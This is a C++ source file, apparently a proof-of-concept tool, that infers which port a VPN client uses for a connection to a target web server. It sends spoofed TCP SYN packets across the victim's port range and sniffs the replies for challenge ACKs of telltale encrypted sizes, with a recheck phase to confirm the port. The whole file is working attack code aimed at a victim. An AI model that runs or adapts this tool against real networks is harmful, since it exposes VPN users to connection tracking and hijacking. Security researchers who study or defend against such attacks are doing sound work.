You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

246 lines
6.3 KiB

  1. #include <tins/tins.h>
  2. #include <cassert>
  3. #include <iostream>
  4. #include <string>
  5. #include <unistd.h>
  6. #include <thread>
  7. using std::thread;
  8. using std::cout;
  9. using std::string;
  10. using namespace Tins;
  11. int current_spoof_port, best_port, chack_count;
  12. bool sniffed_chack = false;
  13. bool is_running = true;
  14. bool verbose = false;
  15. bool count_chacks = false;
  16. bool quick_mode = false; // if true we don't recheck the port
  17. int num_sent = 0;
  18. string victim_wlan_addr;
  19. string remote_addr;
  20. string interface;
  21. void print_divider(int count) {
  22. int i = 0;
  23. while (i < count) {
  24. if (verbose) cout << "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
  25. i++;
  26. }
  27. }
  28. bool handle_packet(PDU &some_pdu) {
  29. const IP &ip = some_pdu.rfind_pdu<IP>(); // Grab IP layer of sniffed packet
  30. // keep track of the last port we spoofed
  31. if (ip.src_addr() == remote_addr) current_spoof_port = some_pdu.rfind_pdu<TCP>().dport();
  32. if (ip.src_addr() == victim_wlan_addr) { // the packet is a response from the client
  33. const uint32_t& payload = some_pdu.rfind_pdu<RawPDU>().payload_size();
  34. const int remainder = payload % 99; // 99 is the size of encrypted resets on ubuntu 16
  35. if (remainder != 0) {
  36. //cout << "\nsniffed possible chack - port : " << (current_spoof_port) << ", remainder : " << remainder << "\n";
  37. // If it's not working as expected, uncomment the line above to
  38. // check what the typical remainder is looking like as it scans the
  39. // port range. In this case, on ubuntu 16, the encrypted RSTs have size 99
  40. // compared to the encrypted ACKs that will be size 115 so we look for remainders
  41. // of size 16
  42. if (remainder == 53 || remainder == 78 || remainder == 16) { // the size of the remainder could change per victim OS
  43. if (verbose) cout << "sniffed chack - port : " << (current_spoof_port) << ", remainder : " << remainder <<", full size: " << payload << "\n";
  44. if (count_chacks) chack_count ++;
  45. if (!sniffed_chack) {
  46. sniffed_chack = true;
  47. best_port = current_spoof_port;
  48. }
  49. }
  50. }
  51. }
  52. return is_running;
  53. }
  54. void sniff_stuff() {
  55. SnifferConfiguration config;
  56. config.set_promisc_mode(true);
  57. Sniffer sniffer(interface, config);
  58. sniffer.sniff_loop(handle_packet);
  59. }
  60. // Rechecks a potential matching port for the connection
  61. // and expects to see the same number of chall-acks
  62. // triggered as num_checks
  63. //
  64. bool rechack(int num_checks, int possible_port, string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
  65. PacketSender sender;
  66. NetworkInterface iface(interface);
  67. count_chacks = true;
  68. chack_count = 0;
  69. EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(victim_ip, source_ip) / TCP(possible_port, sport);
  70. TCP& tcp = pkt.rfind_pdu<TCP>();
  71. tcp.set_flag(TCP::SYN, 1);
  72. int count = 0;
  73. usleep(1000000 / 2);
  74. while (count < num_checks) {
  75. sender.send(pkt, iface);
  76. usleep(1000000 / 2); // must sleep half second due to chack rate limit
  77. count ++;
  78. }
  79. usleep(1000000);
  80. // should have just sniffed as many chacks as we just sent
  81. if (verbose) cout << "end of rechack, count : " << chack_count << ", should be: " << num_checks << " \n";
  82. if (chack_count >= num_checks) {
  83. return true;
  84. }
  85. count_chacks = false;
  86. num_sent += count;
  87. return false;
  88. }
  89. // Spreads SYNs across the victim's entire port range
  90. // coming from a specific remote_ip:port
  91. //
  92. int phase_two_spread(string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
  93. PacketSender sender;
  94. NetworkInterface iface(interface);
  95. int start_port = 32768; // typical Linux ephemeral port range - (32768, 61000)
  96. int end_port = 61000;
  97. int i;
  98. EthernetII pkt = EthernetII(dest_mac, src_mac) / IP(victim_ip, source_ip) / TCP(40404, sport);
  99. TCP& tcp = pkt.rfind_pdu<TCP>();
  100. tcp.set_flag(TCP::SYN, 1);
  101. int current_port = best_port;
  102. for (i = start_port; i < end_port; i ++) {
  103. tcp.dport(i); // set the packets dest port to current guess
  104. sender.send(pkt, iface);
  105. num_sent ++;
  106. usleep(10);
  107. }
  108. usleep(1000000); // sleep to give victim time to respond w chack
  109. current_port = best_port;
  110. if (verbose) cout << "finished round 1 w guessed port: " << current_port << "\n";
  111. // In round 1 we spoofed fast (10 sleep) to get a good estimate of the
  112. // port in use. Round 2, we spoof slower from about 50 packets back to account
  113. // for the delay in response and hopefully get the exact port number in use.
  114. print_divider(1);
  115. usleep(1000000 / 2);
  116. sniffed_chack = false;
  117. int j;
  118. int send_delay = 300;
  119. if (verbose) cout << "Starting round 2 spread from: " << (current_port - send_delay) << " to " << current_port << "\n";
  120. for (j = (current_port - send_delay); j < current_port; j++) {
  121. tcp.dport(j); // set the packets dest port to current guess
  122. sender.send(pkt, iface);
  123. num_sent ++;
  124. usleep(600 * 5);
  125. }
  126. usleep(1000000);
  127. if (verbose) cout << "finished round 2 w guessed port: " << best_port << "\n";
  128. return best_port;
  129. }
  130. // Continually looks for a port in use by the victim VPN client
  131. // being used to communicate witht the target web server
  132. //
  133. int find_port(string dest_mac, string src_mac, string source_ip, int sport, string victim_ip) {
  134. bool is_found = false;
  135. int current_port = 0;
  136. while (!is_found) {
  137. current_port = phase_two_spread(dest_mac, src_mac, remote_addr, sport, victim_ip);
  138. print_divider(1);
  139. if (verbose) cout << "finished phase 2 w possible port: " << current_port << "\n";
  140. //cout << current_port << "\n";
  141. if (quick_mode) {
  142. is_found = true;
  143. } else {
  144. is_found = rechack(2, current_port, dest_mac, src_mac, remote_addr, sport, victim_ip);
  145. }
  146. }
  147. return current_port;
  148. }
  149. int main(int argc, char** argv) {
  150. if (argc != 7) {
  151. cout << "sike wrong number of args ---> (remote_addr, sport, victim_pub_ip, victim_priv_ip, victim_mac_addr, iface)\n";
  152. return 0;
  153. }
  154. remote_addr = argv[1];
  155. int sport = atoi(argv[2]);
  156. victim_wlan_addr = argv[3];
  157. string dest_ip = argv[4];
  158. //verbose = true;
  159. string dest_mac = argv[5];
  160. interface = argv[6];
  161. string src_mac = "";
  162. print_divider(2);
  163. thread sniff_thread(sniff_stuff);
  164. int p = find_port(dest_mac, src_mac, remote_addr, sport, dest_ip);
  165. is_running = false;
  166. sniff_thread.detach();
  167. print_divider(1);
  168. if (verbose) cout << "Completed phase 2 with port: " << p << "\n\n";
  169. cout << p << "\n";
  170. return p;
  171. }